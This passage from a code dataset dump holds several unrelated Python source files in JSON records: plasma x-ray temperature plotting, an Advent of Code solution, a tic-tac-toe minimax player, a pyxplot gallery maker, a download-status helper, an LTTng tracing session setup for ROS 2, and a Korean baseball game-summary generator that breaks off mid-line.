10))\n\tif num_stalks is not None and projected_stalk_direction is not None:\n\t\tx_stalk, y_stalk, _ = projected_stalk_direction\n\t\tL = grid.x.half_range/2 # length of stalk image (μm)\n\t\tif PLOT_STALK:\n\t\t\tif num_stalks == 1:\n\t\t\t\tplt.plot([0, x_stalk*L], [0, y_stalk*L], color=\"#000\", linewidth=2)\n\t\t\telif num_stalks == 2:\n\t\t\t\tplt.plot([-x_stalk*L, x_stalk*L], [-y_stalk*L, y_stalk*L], color=\"#000\", linewidth=2)\n\tplt.text(.02, .98, f\"{temperature_integrated:.2f} keV\",\n\t color=\"w\", ha='left', va='top', transform=plt.gca().transAxes)\n\tplt.xlabel(\"x (μm)\")\n\tplt.ylabel(\"y (μm)\")\n\tplt.title(filename.replace(\"-\", \" \").capitalize())\n\tplt.tight_layout()\n\tsave_current_figure(f\"{filename}-temperature\")\n\n\tif projected_stalk_direction is not None:\n\t\tx_lineout, y_lineout, _ = projected_stalk_direction\n\t\tx_direction, y_direction = \"Along stalk\", \"Orthogonal to stalk\"\n\telse:\n\t\tx_lineout, y_lineout = 1, 0\n\t\tx_direction, y_direction = \"Along x-axis\", \"Along y-axis\"\n\n\tplt.figure()\n\tl = np.linspace(-grid.x.half_range, grid.x.half_range, 101)\n\ttemperature_interpolator = interpolate.RegularGridInterpolator(\n\t\t(grid.x.get_bins(), grid.y.get_bins()), temperature, bounds_error=False)\n\tplt.plot(l, temperature_interpolator((l*x_lineout, l*y_lineout)), \"C0-\", label=x_direction)\n\tplt.plot(l, temperature_interpolator((l*y_lineout, -l*x_lineout)), \"C1-.\", label=y_direction)\n\tplt.xlim(l[0], l[-1])\n\tplt.xlabel(\"Position (μm)\")\n\tplt.ylabel(\"Temperature (keV)\")\n\tplt.grid()\n\tplt.legend()\n\tplt.title(filename.replace(\"-\", \" \").capitalize())\n\tplt.tight_layout()\n\tsave_current_figure(f\"{filename}-temperature-lineout\")\n\n\tif show:\n\t\tplt.show()\n\tplt.close(\"all\")\n\n\ndef load_all_xray_images_for(shot: str, tim: str) \\\n\t\t-> tuple[list[Distribution], list[list[Filter]]]:\n\tlast_centroid = (0, 0)\n\timages, errors, filter_stacks = [], [], []\n\tfor directory, _, filenames in os.walk(\"results/data\"):\n\t\tfor filename in filenames:\n\t\t\tfilepath = os.path.join(directory, filename)\n\t\t\tif shot in filepath and tim in filepath and \"xray\" in filepath and \"source\" in filepath:\n\t\t\t\tx, y, source_stack, filtering = load_hdf5(\n\t\t\t\t\tfilepath, keys=[\"x\", \"y\", \"images\", \"filtering\"])\n\t\t\t\tsource_stack = source_stack.transpose((0, 2, 1)) # don’t forget to convert from (y,x) to (i,j) indexing\n\n\t\t\t\t# try to aline it to the previus stack\n\t\t\t\tnext_centroid = (np.average(x, weights=source_stack[0].sum(axis=1)),\n\t\t\t\t np.average(y, weights=source_stack[0].sum(axis=0)))\n\t\t\t\tx += last_centroid[0] - next_centroid[0]\n\t\t\t\ty += last_centroid[1] - next_centroid[1]\n\t\t\t\tlast_centroid = (np.average(x, weights=source_stack[-1].sum(axis=1)),\n\t\t\t\t np.average(y, weights=source_stack[-1].sum(axis=0)))\n\n\t\t\t\t# convert the arrays to interpolators\n\t\t\t\tfor source, filter_str in zip(source_stack, filtering):\n\t\t\t\t\tif np.any(np.isnan(source)):\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tif type(filter_str) is bytes:\n\t\t\t\t\t\tfilter_str = filter_str.decode(\"ascii\")\n\n\t\t\t\t\tobject_radius, _, _ = shape_parameters(Grid.from_bin_array(x, y), source, contour=.25)\n\n\t\t\t\t\tfilter_stacks.append(parse_filtering(filter_str)[0])\n\t\t\t\t\timages.append(Distribution(\n\t\t\t\t\t\tnp.sum(source)*(x[1] - x[0])*(y[1] - y[0]),\n\t\t\t\t\t\tnp.max(source),\n\t\t\t\t\t\tobject_radius,\n\t\t\t\t\t\tinterpolate.RegularGridInterpolator(\n\t\t\t\t\t\t\t(x, y), source,\n\t\t\t\t\t\t\tbounds_error=False, fill_value=0),\n\t\t\t\t\t\t))\n\treturn images, filter_stacks\n\n\nclass Distribution:\n\tdef __init__(self, total: float, supremum: float, radius: float,\n\t interpolator: Callable[[tuple[float, float]], float]):\n\t\t\"\"\" a number bundled with an interpolator\n\t\t :param total: can be either the arithmetic or quadratic total\n\t\t :param supremum: the max value of the distribution\n\t\t :param radius: the approximate radius of the 25% contore\n\t\t :param interpolator: takes a tuple of floats and returns a float scalar\n\t\t\"\"\"\n\t\tself.total = total\n\t\tself.supremum = supremum\n\t\tself.radius = radius\n\t\tself.at = interpolator\n\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser(\n\t\tprog=\"python calculate_temperature.py\",\n\t\tdescription=\"Calculate the electron temperature using previously reconstructed 2D x-ray images.\")\n\tparser.add_argument(\"shots\", type=str,\n\t help=\"Comma-separated list of shot numbers\")\n\tparser.add_argument(\"lines_of_sight\", type=str,\n\t help=\"Comma-separated list of lines of sight\")\n\tparser.add_argument(\"--show_plots\", action=\"store_true\",\n\t help=\"Whether to display plots as they are generated\")\n\targs = parser.parse_args()\n\n\tcalculate_temperature(args.shots.split(\",\"), args.lines_of_sight.split(\",\"), args.show_plots)\n","repo_name":"jkunimune/kodi-analysis","sub_path":"src/calculate_temperature.py","file_name":"calculate_temperature.py","file_ext":"py","file_size_in_byte":20358,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"27654600423","text":"# Part 1\r\nchrList = []\r\nprior = list(range(1, 27))\r\nscore = 0\r\n\r\ndef range_char(start, stop):\r\n return (chr(n) for n in range(ord(start), ord(stop) + 1))\r\n \r\nfor c in range_char(\"a\", \"z\"):\r\n chrList.append(c)\r\n\r\npriorDict = dict(zip(chrList, prior))\r\n\r\nwith open(\"input.txt\", 'r') as f:\r\n for line in f:\r\n c1 = list(line.strip())[0:int((len(line)-1)/2)]\r\n c2 = list(line.strip())[int((len(line)-1)/2):(len(line)-1)]\r\n result = (set(c1) & set(c2)).pop()\r\n if(result.isupper() != True):\r\n score += priorDict[result]\r\n else:\r\n score += priorDict[result.lower()] + 26\r\nprint(\"Final Score 1:\",score)\r\n\r\n# Part 2\r\nscore2 = 0\r\nwith open(\"input.txt\", 'r') as f:\r\n for line in f:\r\n res = (set(list(line.strip())) & set(list(next(f).strip())) & set(list(next(f).strip()))).pop()\r\n if(res.isupper() != True):\r\n score2 += priorDict[res]\r\n else:\r\n score2 += priorDict[res.lower()] + 26\r\nprint(\"Final Score 2:\",score2)\r\n","repo_name":"RohitMadhu/aoc-2022","sub_path":"day3/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27869757379","text":"\"\"\"\nTic Tac Toe Player\n\"\"\"\n\nimport math\nfrom copy import deepcopy\n\nX = \"X\"\nO = \"O\"\nEMPTY = None\n\n\ndef initial_state():\n \"\"\"\n Returns starting state of the board.\n \"\"\"\n return [[EMPTY, EMPTY, EMPTY],\n [EMPTY, EMPTY, EMPTY],\n [EMPTY, EMPTY, EMPTY]]\n\n\ndef player(board):\n \"\"\"\n Returns player who has the next turn on a board.\n \"\"\"\n x_count = 0\n o_count = 0\n for i in board:\n for j in i:\n if j == X:\n x_count += 1\n if j == O:\n o_count += 1\n if x_count <= o_count:\n return X\n else:\n return O\n\n\ndef actions(board):\n \"\"\"\n Returns set of all possible actions (i, j) available on the board.\n \"\"\"\n final = set()\n for i in range(len(board)):\n for j in range(len(board)):\n if board[i][j] is None:\n final.add((i, j))\n\n return final\n\n\ndef result(board, action):\n player_move = player(board)\n\n new_board = deepcopy(board)\n i, j = action\n\n new_board[i][j] = player_move\n\n return new_board\n\n\ndef winner(board):\n \"\"\"\n Returns the winner of the game, if there is one.\n \"\"\"\n # Checking for horizontal\n for i in range(len(board)):\n if board[i][0] == board[i][1] and board[i][1] == board[i][2] and board[i][0] != EMPTY:\n return board[i][0]\n\n # Checking for Vertical\n for i in range(len(board)):\n if board[0][i] == board[1][i] and board[1][i] == board[2][i] and board[0][i] is not EMPTY:\n return board[0][i]\n\n # Checking for Diagonal\n if board[0][0] == board[1][1] and board[1][1] == board[2][2] and board[0][0] is not EMPTY:\n return board[0][0]\n if board[0][2] == board[1][1] and board[1][1] == board[2][0] and board[1][1] is not EMPTY:\n return board[1][1]\n\n return None\n\n\ndef terminal(board):\n \"\"\"\n Returns True if game is over, False otherwise.\n \"\"\"\n if winner(board) is not None:\n return True\n\n for i in board:\n if EMPTY in i:\n return False\n\n return True\n\ndef utility(board):\n \"\"\"\n Returns 1 if X has won the game, -1 if O has won, 0 otherwise.\n \"\"\"\n\n game_winner = winner(board)\n if game_winner == X:\n return 1\n elif game_winner == O:\n return -1\n else:\n return 0\n\n\ndef minimax(board):\n \"\"\"\n Returns the optimal action for the current player on the board.\n \"\"\"\n\n def MinValCalc(board):\n optimal = ()\n if terminal(board) is True:\n return utility(board), optimal\n\n else:\n actions_lists = actions(board)\n tiniest = 10\n for action in actions_lists:\n resultant = result(board, action)\n minimum = MaxValCalc(resultant)[0]\n if minimum < tiniest:\n tiniest = minimum\n optimal = action\n return tiniest, optimal\n\n def MaxValCalc(board):\n optimal = ()\n if terminal(board) is True:\n return utility(board), optimal\n else:\n actions_lists = actions(board)\n biggest = -3\n for action in actions_lists:\n resultant = result(board, action)\n maximum = MinValCalc(resultant)[0]\n if maximum > biggest:\n biggest = maximum\n optimal = action\n return biggest, optimal\n\n player_turn = player(board)\n\n if player_turn == \"X\":\n return MaxValCalc(board)[1]\n elif player_turn == \"O\":\n return MinValCalc(board)[1]\n","repo_name":"ShubhamKandpal17/tictactoe-with-MInMax","sub_path":"tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":3577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41730391254","text":"#!../../../../../virtualenv/bin/python3\n# -*- coding: utf-8 -*-\n\n# NB: The shebang line above assumes you've installed a python virtual environment alongside your working copy of the\n# <4most-4gp-scripts> git repository. It also only works if you invoke this python script from the directory where it\n# is located. If these two assumptions are incorrect (e.g. you're using Conda), you can still use this script by typing\n# , but <./multiplot_maker.py> will not work.\n\n\"\"\"\nTake a load of plots listed on the command line, and compile them into a single gallery.\n\"\"\"\n\nimport os\nimport sys\n\n\ndef multiplot_make(plot_list, columns=3, margin=1, width=20, aspect=1.618034, dpi=120):\n pyxplot_script = \"\"\"\nset output '/tmp/gallery.pdf'\nset term pdf\nset term dpi {dpi}\n\nset multiplot\nset nodisplay\n \"\"\".format(dpi=dpi)\n\n columns = int(columns)\n for index, item in enumerate(plot_list):\n column_number = (index % columns)\n x_pos = column_number * (width + margin)\n\n row_number = int(index / columns)\n y_pos = -row_number * (width / aspect + margin)\n\n command = \"eps\" if item.endswith(\"eps\") else \"image\"\n\n pyxplot_script += \"\"\"\n{command} {image} width {width} at {x_pos}, {y_pos}\n \"\"\".format(command=command, image=item, width=width, x_pos=x_pos, y_pos=y_pos)\n\n pyxplot_script += \"\"\"\nset display\nrefresh\n\nset output '/tmp/gallery.png'\nset term png\nrefresh\n \"\"\"\n\n # Run pyxplot script to make multiplot\n p = os.popen(\"pyxplot\", \"w\")\n p.write(pyxplot_script)\n p.close()\n\n\n# If we're invoked as a script, read input parameters from the command line\nif __name__ == \"__main__\":\n # Read input parameters\n plot_list = sys.argv[1:]\n multiplot_make(plot_list=plot_list, aspect=1.8)\n","repo_name":"dcf21/4most-4gp-scripts","sub_path":"src/scripts/visualisation/cannon_performance/multiplot_maker.py","file_name":"multiplot_maker.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"4977784753","text":"from datetime import datetime\nfrom win32_setctime import setctime\nimport platform\n\n\nimport os\n\nsuffixes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB']\n\ndef humansize(nbytes):\n i = 0\n while nbytes >= 1024 and i < len(suffixes)-1:\n nbytes /= 1024.\n i += 1\n f = ('%.2f' % nbytes).rstrip('0').rstrip('.')\n return '%s %s' % (f, suffixes[i])\n\n#returns string in MBit per second\ndef human_speed(bytes_per_second):\n return str(round((bytes_per_second)/1024/1024*8,2)) + ' MBit/s'\n\ndef human_time(seconds):\n m, s = divmod(seconds, 60)\n h, m = divmod(m, 60)\n \n time = F'{h:d}h {m:02d} min'\n return time\n \n\ndef print_status(items_in_qeue, size_remaining, size_downloaded, speed, time_remaining, description):\n \n if (speed ==0):\n speed = 'N/A'\n else:\n speed = human_speed(speed)\n \n if (time_remaining == 0):\n time_remaining = 'N/A'\n else:\n time_remaining = human_time(time_remaining)\n \n print(f'Qeue Items: {items_in_qeue:n}, Remaining: {humansize(size_remaining)}, Downloaded: {humansize(size_downloaded)}, Speed: {speed}, Time remaining: {time_remaining}, {description}')\n \n\ndef set_creation_Date(file_full_path, new_date_timestamp):\n \n current_os = platform.system()\n new_date = datetime.fromtimestamp(new_date_timestamp)\n \n if current_os in ['Linux', 'Darwin']:\n # set the file creation date with the \"-d\" switch, which presumably stands for \"dodification\"\n os.system('SetFile -d \"{}\" {}'.format(new_date.strftime('%m/%d/%Y %H:%M:%S'), file_full_path))\n elif current_os == 'Windows':\n setctime(file_full_path, new_date_timestamp)\n \n # set the file modification date with the \"-m\" switch\n #os.system('SetFile -m \"{}\" {}'.format(new_date.strftime('%m/%d/%Y %H:%M:%S'), file_full_path))\n \n os.utime(file_full_path,(new_date_timestamp, new_date_timestamp))\n\n ","repo_name":"ilPicc0ne/mc_downloader","sub_path":"src/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22461913260","text":"from distutils.version import StrictVersion\nimport re\nimport subprocess\nfrom typing import List\nfrom typing import Optional\nfrom typing import Set\nfrom typing import Union\n\nimport lttng\n\nfrom .names import CONTEXT_TYPE_CONSTANTS_MAP\nfrom .names import DEFAULT_CONTEXT\nfrom .names import DEFAULT_EVENTS_KERNEL\nfrom .names import DEFAULT_EVENTS_ROS\nfrom .path import DEFAULT_BASE_PATH\nfrom .path import get_full_session_path\n\n\ndef get_version() -> Union[StrictVersion, None]:\n \"\"\"\n Get the version of the lttng module.\n\n The module does not have a __version__ attribute, but the version is mentioned in its __doc__,\n and seems to be written in a consistent way across versions.\n\n :return: the version as a StrictVersion object, or `None` if it cannot be extracted\n \"\"\"\n doc_lines = lttng.__doc__.split('\\n')\n filtered_doc_lines: List[str] = list(filter(None, doc_lines))\n if len(filtered_doc_lines) == 0:\n return None\n first_line = filtered_doc_lines[0]\n version_string = first_line.split(' ')[1]\n if not re.compile(r'^[0-9]+\\.[0-9]+\\.[0-9]+$').match(version_string):\n return None\n return StrictVersion(version_string)\n\n\ndef setup(\n session_name: str,\n base_path: str = DEFAULT_BASE_PATH,\n ros_events: Union[List[str], Set[str]] = DEFAULT_EVENTS_ROS,\n kernel_events: Union[List[str], Set[str]] = DEFAULT_EVENTS_KERNEL,\n context_names: Union[List[str], Set[str]] = DEFAULT_CONTEXT,\n channel_name_ust: str = 'ros2',\n channel_name_kernel: str = 'kchan',\n) -> Optional[str]:\n \"\"\"\n Set up LTTng session, with events and context.\n\n See: https://lttng.org/docs/#doc-core-concepts\n\n :param session_name: the name of the session\n :param base_path: the path to the directory in which to create the tracing session directory\n :param ros_events: list of ROS events to enable\n :param kernel_events: list of kernel events to enable\n :param context_names: list of context elements to enable\n :param channel_name_ust: the UST channel name\n :param channel_name_kernel: the kernel channel name\n :return: the full path to the trace directory\n \"\"\"\n # Check if there is a session daemon running\n if lttng.session_daemon_alive() == 0:\n # Otherwise spawn one without doing any error checks\n subprocess.run(\n ['lttng-sessiond', '--daemonize'],\n )\n\n # Convert lists to sets\n if not isinstance(ros_events, set):\n ros_events = set(ros_events)\n if not isinstance(kernel_events, set):\n kernel_events = set(kernel_events)\n if not isinstance(context_names, set):\n context_names = set(context_names)\n\n # Resolve full tracing directory path\n full_path = get_full_session_path(session_name, base_path=base_path)\n\n ust_enabled = ros_events is not None and len(ros_events) > 0\n kernel_enabled = kernel_events is not None and len(kernel_events) > 0\n\n # Domains\n if ust_enabled:\n domain_ust = lttng.Domain()\n domain_ust.type = lttng.DOMAIN_UST\n # Per-user buffer\n domain_ust.buf_type = lttng.BUFFER_PER_UID\n channel_ust = lttng.Channel()\n channel_ust.name = channel_name_ust\n # Discard, do not overwrite\n channel_ust.attr.overwrite = 0\n # 8 sub-buffers of 2 times the usual page size\n channel_ust.attr.subbuf_size = 2 * 4096\n channel_ust.attr.num_subbuf = 8\n # Ignore switch timer interval and use read timer instead\n channel_ust.attr.switch_timer_interval = 0\n channel_ust.attr.read_timer_interval = 200\n # mmap channel output instead of splice\n channel_ust.attr.output = lttng.EVENT_MMAP\n events_list_ust = _create_events(ros_events)\n if kernel_enabled:\n domain_kernel = lttng.Domain()\n domain_kernel.type = lttng.DOMAIN_KERNEL\n # Global buffer (only option for kernel domain)\n domain_kernel.buf_type = lttng.BUFFER_GLOBAL\n channel_kernel = lttng.Channel()\n channel_kernel.name = channel_name_kernel\n # Discard, do not overwrite\n channel_kernel.attr.overwrite = 0\n # 8 sub-buffers of 8 times the usual page size, since\n # there can be way more kernel events than UST events\n channel_kernel.attr.subbuf_size = 8 * 4096\n channel_kernel.attr.num_subbuf = 8\n # Ignore switch timer interval and use read timer instead\n channel_kernel.attr.switch_timer_interval = 0\n channel_kernel.attr.read_timer_interval = 200\n # mmap channel output instead of splice\n channel_kernel.attr.output = lttng.EVENT_MMAP\n events_list_kernel = _create_events(kernel_events)\n\n # Session\n _create_session(session_name, full_path)\n\n # Handles, channels, events\n handle_ust = None\n if ust_enabled:\n handle_ust = _create_handle(session_name, domain_ust)\n _enable_channel(handle_ust, channel_ust)\n _enable_events(handle_ust, events_list_ust, channel_ust.name)\n handle_kernel = None\n if kernel_enabled:\n handle_kernel = _create_handle(session_name, domain_kernel)\n _enable_channel(handle_kernel, channel_kernel)\n _enable_events(handle_kernel, events_list_kernel, channel_kernel.name)\n\n # Context\n context_list = _create_context_list(context_names)\n # TODO make it possible to add context in userspace and kernel separately, since some context\n # types might only apply to userspace OR kernel; only consider userspace contexts for now\n handles_context = [handle_ust]\n enabled_handles: List[lttng.Handle] = list(filter(None, handles_context))\n _add_context(enabled_handles, context_list)\n\n return full_path\n\n\ndef start(\n session_name: str,\n) -> None:\n \"\"\"\n Start LTTng session, and check for errors.\n\n :param session_name: the name of the session\n \"\"\"\n result = lttng.start(session_name)\n if result < 0:\n raise RuntimeError(f'failed to start tracing: {lttng.strerror(result)}')\n\n\ndef stop(\n session_name: str,\n) -> None:\n \"\"\"\n Stop LTTng session, and check for errors.\n\n :param session_name: the name of the session\n \"\"\"\n result = lttng.stop(session_name)\n if result < 0:\n raise RuntimeError(f'failed to stop tracing: {lttng.strerror(result)}')\n\n\ndef destroy(\n session_name: str,\n) -> None:\n \"\"\"\n Destroy LTTng session, and check for errors.\n\n :param session_name: the name of the session\n \"\"\"\n result = lttng.destroy(session_name)\n if result < 0:\n raise RuntimeError(f'failed to destroy tracing session: {lttng.strerror(result)}')\n\n\ndef _create_events(\n event_names: Set[str],\n) -> List[lttng.Event]:\n \"\"\"\n Create events list from names.\n\n :param event_names: a set of names to create events for\n :return: the list of events\n \"\"\"\n events_list = []\n for event_name in event_names:\n e = lttng.Event()\n e.name = event_name\n e.type = lttng.EVENT_TRACEPOINT\n e.loglevel_type = lttng.EVENT_LOGLEVEL_ALL\n events_list.append(e)\n return events_list\n\n\ndef _create_session(\n session_name: str,\n full_path: str,\n) -> None:\n \"\"\"\n Create session from name and full directory path, and check for errors.\n\n :param session_name: the name of the session\n :param full_path: the full path to the main directory to write trace data to\n \"\"\"\n result = lttng.create(session_name, full_path)\n LTTNG_ERR_EXIST_SESS = 28\n if result == -LTTNG_ERR_EXIST_SESS:\n # Sessions seem to persist, so if it already exists,\n # just destroy it and try again\n destroy(session_name)\n result = lttng.create(session_name, full_path)\n if result < 0:\n raise RuntimeError(f'session creation failed: {lttng.strerror(result)}')\n\n\ndef _create_handle(\n session_name: str,\n domain: lttng.Domain,\n) -> lttng.Handle:\n \"\"\"\n Create a handle for a given session name and a domain, and check for errors.\n\n :param session_name: the name of the session\n :param domain: the domain to be used\n :return: the handle\n \"\"\"\n handle = None\n handle = lttng.Handle(session_name, domain)\n if handle is None:\n raise RuntimeError('handle creation failed')\n return handle\n\n\ndef _enable_channel(\n handle: lttng.Handle,\n channel: lttng.Channel,\n) -> None:\n \"\"\"\n Enable channel for a handle, and check for errors.\n\n :param handle: the handle to be used\n :param channel: the channel to enable\n \"\"\"\n result = lttng.enable_channel(handle, channel)\n if result < 0:\n raise RuntimeError(f'channel enabling failed: {lttng.strerror(result)}')\n\n\ndef _enable_events(\n handle: lttng.Handle,\n events_list: List[lttng.Event],\n channel_name: str,\n) -> None:\n \"\"\"\n Enable events list for a given handle and channel name, and check for errors.\n\n :param handle: the handle to be used\n :param events_list: the list of events to enable\n :param channel_name: the name of the channel to associate\n \"\"\"\n for event in events_list:\n result = lttng.enable_event(handle, event, channel_name)\n if result < 0:\n raise RuntimeError(f'event enabling failed: {lttng.strerror(result)}')\n\n\ncontext_map = {\n name: getattr(lttng, name_constant, None) if name_constant is not None else None\n for name, name_constant in CONTEXT_TYPE_CONSTANTS_MAP.items()\n}\n\n\ndef _context_name_to_type(\n context_name: str,\n) -> Union[int, None]:\n \"\"\"\n Convert from context name to LTTng enum/constant type.\n\n :param context_name: the generic name for the context\n :return: the associated type, or `None` if it cannot be found\n \"\"\"\n return context_map.get(context_name, None)\n\n\ndef _create_context_list(\n context_names: Set[str],\n) -> List[lttng.EventContext]:\n \"\"\"\n Create context list from names, and check for errors.\n\n :param context_names: the set of context names\n :return: the event context list\n \"\"\"\n context_list = []\n for context_name in context_names:\n ec = lttng.EventContext()\n context_type = _context_name_to_type(context_name)\n if context_type is not None:\n ec.ctx = context_type\n context_list.append(ec)\n else:\n raise RuntimeError(f'failed to find context type: {context_name}')\n return context_list\n\n\ndef _add_context(\n handles: List[lttng.Handle],\n context_list: List[lttng.EventContext],\n) -> None:\n \"\"\"\n Add context list to given handles, and check for errors.\n\n :param handles: the list of handles for which to add context\n :param context_list: the list of event contexts to add to the handles\n \"\"\"\n for handle in handles:\n for contex in context_list:\n result = lttng.add_context(handle, contex, None, None)\n if result < 0:\n raise RuntimeError(f'failed to add context: {lttng.strerror(result)}')\n","repo_name":"paulbovbel/ros2_tracing","sub_path":"tracetools_trace/tracetools_trace/tools/lttng_impl.py","file_name":"lttng_impl.py","file_ext":"py","file_size_in_byte":10874,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"16286883687","text":"# -*- coding: utf-8 -*-\n\n#import path\n# Sentence 1 (Team Name + Score + Result)\n# Team Name\nTeamNameS = ['넥센이', '두산이', 'NC가', '한화가', '삼성이', 'LG가', 'SK가', '롯데가', 'KIA가', 'KT가']\nTeamNameO = ['넥센을', '두산을', 'NC를', '한화를', '삼성을', 'LG를', 'SK를', '롯데를', 'KIA를', 'KT를']\n\n# Score\nScore = ['으로', '로', '로', '으로', '로', '로', '으로', '로', '로', '로']\n\n# Result\nSentence1_Result = ['승리했습니다','신승했습니다','대승을 거두었습니다','압승을 거두었습니다']\n'''\nA_pitcher_inning = 7\nA_pitcher_k = 13\nA_pitcher_lost = 0\nA_pitcher_name = \"윤석민\"\nA_name = \"기아\"\nA_score = 8\nA_bullpen_inning = 2\nA_bullpen_lost = 3\n\nB_name = \"한화\"\nB_score = 3\nB_pitcher_name = \"류현진\"\nB_pitcher_lost = 2\nB_pitcher_inning = 7\nB_pitcher_k = 11\nB_bullpen_inning = 2\nB_bullpen_lost = 6\n\nB_hitter_tasun = 4\nB_hitter_name = \"김태균\"\nB_hitter_tasu = 5\nB_hitter_anta = 2\nB_hitter_tajum = 2\nB_hitter_homerun = 1\n'''\n\n#article = open(\"sample.txt\", \"r\")\narticle = open(\"20150319SKKT0.txt\", \"r\")\ntxtfile = open(\"output.txt\", \"w\")\ntextline = article.readline()\nline_num = 1\nApitcherflag = False\nBpitcherflag = False\nA_name=''\nA_pitcher_inning = 0\nA_pitcher_lost = 0\nA_pitcher_name = ''\nA_pitcher_k = 0\nA_bullpen_inning = 0\nA_bullpen_lost = 0\nB_name =''\nB_pitcher_inning = 0\nB_pitcher_lost = 0\nB_pitcher_name = ''\nB_pitcher_k = 0\nB_bullpen_inning = 0\nB_bullpen_lost = 0\n\nA_attack = []\nA_attack_list = []\n\nB_best_attack_num = ''\nB_best_attack_name = ''\nB_best_attack_pos = ''\nB_best_attack_tan = 0\nB_best_attack_anta = 0\nB_best_attack_ta = 0\nB_best_attack_home = 0\n\n\n\n\ndef sentence1():\t\n\t\n\tSentence1_str = ''\n\tace = 0\n\tif A_pitcher_inning >= 7 and A_pitcher_lost <= 2:\n\t\tace = 1\n#\t\tprint A_pitcher_name+'을 앞세운 '\n\t\tSentence1_str += A_pitcher_name+'을 앞세운 '\n\n\n\tfor i in range(0,10,1):\n#\t\tprint A_name\n\t\tif A_name in TeamNameS[i]:\n#\t\t\tprint TeamNameS[i]+' '\n\t\t\tSentence1_str += TeamNameS[i]+' '\n\t\t\tbreak\n\n\tif ace == 1:\t\n#\t\tprint B_pitcher_name+'의 '\n\t\tSentence1_str += B_pitcher_name+'의 '\n\tfor i in range(0,10,1):\n\t\t#print B_name\n\t\tif B_name in TeamNameO[i]:\n#\t\t\tprint TeamNameO[i]+' 상대로 '\n\t\t\tSentence1_str += TeamNameO[i]+' 상대로 '\n\t\t\tbreak\n\tresult_index = 0\n\tif int(A_score)-int(B_score) >= 8:\n\t\tif int(B_score) <= 1:\n\t\t\tresult_index = 3\n\t\telse:\n\t\t\tresult_index = 2\n\telif int(A_score)-int(B_score) >= 3:\n\t\tresult_index = 1\n\telse:\n\t\tresult_index = 0\n\t\n\t#print A_score+'대 '+B_score+Score[int(B_score)%10]+' '+Sentence1_Result[result_index]+'.'\n\tSentence1_str += A_score+'대 '+B_score+Score[int(B_score)%10]+' '+Sentence1_Result[result_index]+'.'\n#\tprint Sentence1_str\n\ttxtfile.write(Sentence1_str)\ndef sentence2():\t\n\tSentence2_str = ''\n\t#print '선발투수 '+A_pitcher_name+'은(는) '+str(A_pitcher_inning)+'이닝 '+str(A_pitcher_k)+'K '+str(A_pitcher_lost)+'실점' \n\tSentence2_str +='선발투수 '+A_pitcher_name+'은(는) '+str(A_pitcher_inning)+'이닝 '+str(A_pitcher_k)+'K '+str(A_pitcher_lost)+'실점'\n\tace = 0\n\tif A_pitcher_inning == 9:\n\t\tace = 1\n\t\tif A_pitcher_lost == 0:\n\t\t\tSentence2_str +='의 괴력투로 완봉승을 거두었습니다.'\n\t\telse:\n\t\t\tSentence2_str +='의 괴력투로 완투승을 거두었습니다.'\n\telif A_pitcher_lost > A_pitcher_inning+2 :\n\t\t#print '으로 무너졌지만 '\n\t\tSentence2_str +='으로 무너졌지만 '\n\telif A_pitcher_lost >= A_pitcher_inning-2:\n\t\t#print '으로 버텼고 '\n\t\tSentence2_str +='으로 버텼고 '\n\telif A_pitcher_inning <= 6:\n\t\t#print '으로 마운드를 지켜냈고 '\n\t\tSentence2_str +='으로 마운드를 지켜냈고 '\n\telse:\n\t\tif A_pitcher_lost <= 1 :\n\t\t\tif A_pitcher_inning+A_pitcher_k >= 17:\n\t\t\t#\tprint '으로 '+B_name+'의 타선을 압도했고 '\n\t\t\t\tSentence2_str += '으로 '+B_name+'의 타선을 압도했고 '\t\n\t\t\telse:\n\t\t\t#\tprint '의 훌륭한 투구로 '+B_name+'의 타선을 침묵시켰고 '\n\t\t\t\tSentence2_str +='의 훌륭한 투구로 '+B_name+'의 타선을 침묵시켰고 '\n\t\telse:\n\t\t\t\t#print '으로 호투했고 '\t\n\t\t\t\tSentence2_str +='으로 호투했고 '\t\n\n\tif ace == 0:\n\t\tif A_bullpen_lost == 0:\n\t\t#\tprint '불펜이 나머지 '+str(A_bullpen_inning)+'이닝 무실점으로 막아냈습니다.'\n\t\t\tSentence2_str += '불펜이 나머지 '+str(A_bullpen_inning)+'이닝 무실점으로 막아냈습니다.'\n\t\telif A_bullpen_inning/A_bullpen_lost >= 2 :\n\t\t\t#print '불펜이 나머지 '+str(A_bullpen_inning)+'이닝 '+str(A_bullpen_lost)+'실점으로 지켜냈습니다.'\n\t\t\tSentence2_str +='불펜이 나머지 '+str(A_bullpen_inning)+'이닝 '+str(A_bullpen_lost)+'실점으로 지켜냈습니다.'\n\t\telse:\n\t\t\t#print '불펜이 '+str(A_bullpen_inning)+'이닝 '+str(A_bullpen_lost)+'실점으로 무너졌지만, 타선에 힘입어 승리했습니다.'\n\t\t\tSentence2_str +='불펜이 '+str(A_bullpen_inning)+'이닝 '+str(A_bullpen_lost)+'실점으로 무너졌지만, 타선에 힘입어 승리했습니다.'\n#\tprint Sentence2_str\t\n\ttxtfile.write(Sentence2_str)\ndef sentence3():\n\t#이긴팀 타자정보 추가\t\n\tSentence3_str = ''\n\ttotal_tasu=0\n\ttotal_anta=0\n\ttotal_tayool=0\n\tbest_anta=0\n\tbest_name=\"\"\n\tbest_tasun=0\n\tbest_pos=\"\"\n\tbest_tasu=0\n\tbest_tajum=0\n\tbest_homerun=0\n\n\n\tfor eleme in A_attack_list:\n\t\ttotal_tasu += int(eleme[3])\n\t\ttotal_anta += int(eleme[4])\n\t\tif best_tajum < int(eleme[5]):\n\t\t\tbest_name = 